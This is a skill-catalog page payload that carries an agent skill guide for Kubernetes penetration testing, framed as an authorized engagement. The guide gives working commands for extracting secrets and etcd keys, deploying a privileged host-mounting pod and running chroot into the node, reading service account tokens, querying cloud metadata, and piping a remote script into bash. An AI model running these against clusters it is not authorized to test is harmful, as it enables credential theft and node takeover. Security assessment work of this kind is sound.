[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M755K6MSGZXD1RPG6FTW8GT8":3,"skill-same:01M755K6MSGZXD1RPG6FTW8GT8":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":35,"commitSha":36,"skillDirectory":5,"forksCount":14,"repositoryHtmlUrl":37,"repositoryHomepageUrl":6,"ownerHtmlUrl":38,"ownerBlogUrl":39,"ownerDescription":6,"updatedAt":40,"install":41,"resources":54},"01M755K6MSGZXD1RPG6FTW8GT8","performing-kubernetes-penetration-testing",null,"Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools","SamuelChien\u002Fmega-skills-collection","SamuelChien","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F4652114?v=4","01M74KK34WVHA0P5ZYSJRDDFMG","Samuel Chien","01M74KK35FQN1N9VZ9EPTH3P2S",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: performing-kubernetes-penetration-testing\ndescription: Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools\ndomain: cybersecurity\nsubdomain: container-security\ntags: [containers, kubernetes, security, penetration-testing, offensive-security]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n","# Performing Kubernetes Penetration Testing\n\n## Overview\n\nKubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing kubernetes penetration testing\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Authorized penetration testing engagement\n- Kubernetes cluster access (various levels for different test scenarios)\n- kube-hunter, kubescape, kube-bench installed\n- kubectl configured\n- Network access to cluster components\n\n## Core Concepts\n\n### Kubernetes Attack Surface\n\n| Component | Port | Attack Vectors |\n|-----------|------|---------------|\n| API Server | 6443 | Auth bypass, RBAC abuse, anonymous access |\n| Kubelet | 10250\u002F10255 | Unauthenticated access, command execution |\n| etcd | 2379\u002F2380 | Unauthenticated read, secret extraction |\n| Dashboard | 8443 | Default credentials, token theft |\n| NodePort Services | 30000-32767 | Service exposure, application exploits |\n| CoreDNS | 53 | DNS spoofing, zone transfer |\n\n### MITRE ATT&CK for Kubernetes\n\n| Phase | Techniques |\n|-------|-----------|\n| Initial Access | Exposed Dashboard, Kubeconfig theft, Application exploit |\n| Execution | exec into container, CronJob, deploy privileged pod |\n| Persistence | Backdoor container, mutating webhook, static pod |\n| Privilege Escalation | Privileged container, node access, RBAC abuse |\n| Defense Evasion | Pod name mimicry, namespace hiding, log deletion |\n| Credential Access | Secret extraction, service account token theft |\n| Lateral Movement | Container escape, cluster internal services |\n\n## Workflow\n\n### Step 1: External Reconnaissance\n\n```bash\n# Discover Kubernetes services\nnmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com\n\n# Check for exposed API server\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fversion\n\n# Check anonymous authentication\ncurl -k https:\u002F\u002Ftarget-cluster.com:6443\u002Fapi\u002Fv1\u002Fnamespaces\n\n# Check for exposed kubelet\ncurl -k https:\u002F\u002Fnode-ip:10250\u002Fpods\ncurl http:\u002F\u002Fnode-ip:10255\u002Fpods  # Read-only kubelet\n```\n\n### Step 2: Automated Scanning with kube-hunter\n\n```bash\n# Install kube-hunter\npip install kube-hunter\n\n# Remote scan\nkube-hunter --remote target-cluster.com\n\n# Internal network scan (from within cluster)\nkube-hunter --internal\n\n# Pod scan (from within a pod)\nkube-hunter --pod\n\n# Generate report\nkube-hunter --remote target-cluster.com --report json --log output.json\n```\n\n### Step 3: CIS Benchmark Assessment with kube-bench\n\n```bash\n# Run kube-bench on master node\nkube-bench run --targets master\n\n# Run on worker node\nkube-bench run --targets node\n\n# Check specific sections\nkube-bench run --targets master --check 1.2.1,1.2.2,1.2.3\n\n# JSON output\nkube-bench run --json > kube-bench-results.json\n\n# Run as Kubernetes job\nkubectl apply -f https:\u002F\u002Fraw.githubusercontent.com\u002Faquasecurity\u002Fkube-bench\u002Fmain\u002Fjob.yaml\nkubectl logs -l app=kube-bench\n```\n\n### Step 4: Framework Compliance with Kubescape\n\n```bash\n# Install kubescape\ncurl -s https:\u002F\u002Fraw.githubusercontent.com\u002Fkubescape\u002Fkubescape\u002Fmaster\u002Finstall.sh | \u002Fbin\u002Fbash\n\n# Scan against NSA\u002FCISA hardening guide\nkubescape scan framework nsa\n\n# Scan against MITRE ATT&CK\nkubescape scan framework mitre\n\n# Scan against CIS Kubernetes Benchmark\nkubescape scan framework cis-v1.23-t1.0.1\n\n# Scan specific namespace\nkubescape scan framework nsa --namespace production\n\n# JSON output\nkubescape scan framework nsa --format json --output kubescape-report.json\n```\n\n### Step 5: RBAC Exploitation Testing\n\n```bash\n# Check current permissions\nkubectl auth can-i --list\n\n# Check specific high-value permissions\nkubectl auth can-i create pods\nkubectl auth can-i create pods --subresource=exec\nkubectl auth can-i get secrets\nkubectl auth can-i create clusterrolebindings\nkubectl auth can-i '*' '*'  # cluster-admin check\n\n# Enumerate service account tokens\nkubectl get serviceaccounts -A\nkubectl get secrets -A -o json | jq '.items[] | select(.type==\"kubernetes.io\u002Fservice-account-token\") | {name: .metadata.name, namespace: .metadata.namespace}'\n\n# Check for overly permissive roles\nkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name==\"system:anonymous\" or .subjects[]?.name==\"system:unauthenticated\")'\n\n# Test service account impersonation\nkubectl --as=system:serviceaccount:default:default get pods\n```\n\n### Step 6: Secret Extraction Testing\n\n```bash\n# List all secrets\nkubectl get secrets -A\n\n# Extract specific secret\nkubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d\n\n# Check for secrets in environment variables\nkubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'\n\n# Check for secrets in mounted volumes\nkubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'\n\n# Search etcd directly (if accessible)\nETCDCTL_API=3 etcdctl --endpoints=https:\u002F\u002Fetcd-ip:2379 \\\n  --cacert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fca.crt \\\n  --cert=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.crt \\\n  --key=\u002Fetc\u002Fkubernetes\u002Fpki\u002Fetcd\u002Fserver.key \\\n  get \u002Fregistry\u002Fsecrets --prefix --keys-only\n```\n\n### Step 7: Pod Exploitation\n\n```bash\n# Deploy test pod with elevated privileges\ncat \u003C\u003CEOF | kubectl apply -f -\napiVersion: v1\nkind: Pod\nmetadata:\n  name: pentest-pod\n  namespace: default\nspec:\n  hostNetwork: true\n  hostPID: true\n  containers:\n  - name: pentest\n    image: ubuntu:22.04\n    command: [\"sleep\", \"infinity\"]\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - name: host-root\n      mountPath: \u002Fhost\n  volumes:\n  - name: host-root\n    hostPath:\n      path: \u002F\nEOF\n\n# Exec into pod\nkubectl exec -it pentest-pod -- bash\n\n# From inside privileged pod - access host filesystem\nchroot \u002Fhost\n\n# From inside any pod - check internal services\ncurl -k https:\u002F\u002Fkubernetes.default.svc\u002Fapi\u002Fv1\u002Fnamespaces\ncat \u002Fvar\u002Frun\u002Fsecrets\u002Fkubernetes.io\u002Fserviceaccount\u002Ftoken\n```\n\n### Step 8: Network Policy Testing\n\n```bash\n# Check for network policies\nkubectl get networkpolicies -A\n\n# Test pod-to-pod communication (should be blocked by policies)\nkubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Ftarget-service.namespace.svc\n\n# Test egress to external services\nkubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002Fexample.com\n\n# Test access to metadata service (cloud environments)\nkubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\n```\n\n## Validation Commands\n\n```bash\n# Verify kube-hunter findings\nkube-hunter --remote $CLUSTER_IP --report json\n\n# Cross-validate with Kubescape\nkubescape scan framework nsa --format json\n\n# Check remediation effectiveness\nkube-bench run --targets master,node --json\n\n# Clean up pentest resources\nkubectl delete pod pentest-pod\nkubectl delete pod test-netpol test-egress test-metadata\n```\n\n## References\n\n- [kube-hunter - Kubernetes Penetration Testing](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-hunter)\n- [Kubescape - Kubernetes Security Platform](https:\u002F\u002Fgithub.com\u002Fkubescape\u002Fkubescape)\n- [kube-bench - CIS Benchmark](https:\u002F\u002Fgithub.com\u002Faquasecurity\u002Fkube-bench)\n- [MITRE ATT&CK Containers Matrix](https:\u002F\u002Fattack.mitre.org\u002Fmatrices\u002Fenterprise\u002Fcontainers\u002F)\n- [Kubernetes Threat Matrix - Microsoft](https:\u002F\u002Fmicrosoft.github.io\u002FThreat-Matrix-for-Kubernetes\u002F)\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"subdomain":34,"description":7},[26,27,28,29,30],"containers","kubernetes","security","penetration-testing","offensive-security","mahipal","cybersecurity","1.0","container-security","main","c2b1fdccc779e99ac814e55fb69ca8d71215dd0f","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection","https:\u002F\u002Fgithub.com\u002FSamuelChien","http:\u002F\u002Fsamuelchien.com\u002F","2026-05-26 08:27:14",{"source":8,"skillName":5,"commands":42,"prompt":52,"zipAvailable":53},[43,46,49],{"tool":44,"command":45},"npx","npx skills add SamuelChien\u002Fmega-skills-collection --skill performing-kubernetes-penetration-testing",{"tool":47,"command":48},"bunx","bunx skills add SamuelChien\u002Fmega-skills-collection --skill performing-kubernetes-penetration-testing",{"tool":50,"command":51},"pnpm","pnpm dlx skills add SamuelChien\u002Fmega-skills-collection --skill performing-kubernetes-penetration-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002FSKILL.md",true,[55,61,65,71,75,79,85],{"path":56,"resourceType":57,"resourceTypeDesc":58,"sizeBytes":59,"sourceHtmlUrl":60},"assets\u002Ftemplate.md","ASSET","资产文件",1163,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002Fassets\u002Ftemplate.md",{"path":62,"resourceType":62,"resourceTypeDesc":63,"sizeBytes":64,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":66,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":70},"references\u002Fapi-reference.md","REFERENCE","参考文档",1495,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fapi-reference.md",{"path":72,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":73,"sourceHtmlUrl":74},"references\u002Fstandards.md",1616,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fstandards.md",{"path":76,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fworkflows.md",2794,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002Freferences\u002Fworkflows.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",7602,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002Fscripts\u002Fagent.py",{"path":86,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":87,"sourceHtmlUrl":88},"scripts\u002Fprocess.py",15632,"https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fperforming-kubernetes-penetration-testing\u002Fscripts\u002Fprocess.py",[90,98,105,112,119,126],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M76R4WZQZAXGGXMQCA0FZ716","zustand-store-ts","Create Zustand stores with TypeScript, subscribeWithSelector middleware, and proper state\u002Faction separation. Use when building React state management, creating global stores, or implementing reactive state patterns with Zustand.","MIT","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-ts\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M76R4T9KENDH7FENGZQHBW4G","zustand-store-creator","Zustand Store Creator - Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":20},"01M76R3YWN84B7SANJ52X799ZE","zero-trust-config-helper","Zero Trust Config Helper - Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M76R3HNSV2AEYSKHM915GJ58","zapier-integration-helper","Zapier Integration Helper - Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M76R3DJSKAT4FA7DV4BF3GCE","zai-cli","Execute z.AI CLI providing vision, search, reader, and GitHub exploration via CLI and MCP.\nUse when user needs image\u002Fvideo analysis, OCR, UI-to-code conversion, error diagnosis,\nreal-time web search, web page to markdown extraction, or GitHub code exploration.\nTrigger with phrases like \"analyze this image\", \"search the web for\", \"read this page\",\n\"explore this repo\", or \"use zai\". Requires Z_AI_API_KEY.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fzai-cli\u002FSKILL.md",[],[],{"skillNo":127,"name":128,"nameZh":6,"description":129,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":130,"categories":131,"keywords":132,"publishedAt":20},"01M76R2KAM699XE9AJVAWE4H2E","yt-research","Research competitor YouTube channels, niches, and trending topics for your content strategy.\nUse this skill whenever the user says \"research channels\", \"analyze competitors\", \"find trending topics\",\n\"niche analysis\", \"competitive research\", \"what are other creators doing\", \"scrape YouTube channels\",\nor wants to understand the competitive landscape for a specific tool or topic area. Use when working with yt research. Trigger with 'yt', 'research'.","https:\u002F\u002Fgithub.com\u002FSamuelChien\u002Fmega-skills-collection\u002Fblob\u002Fmain\u002Fyt-research\u002FSKILL.md",[],[]]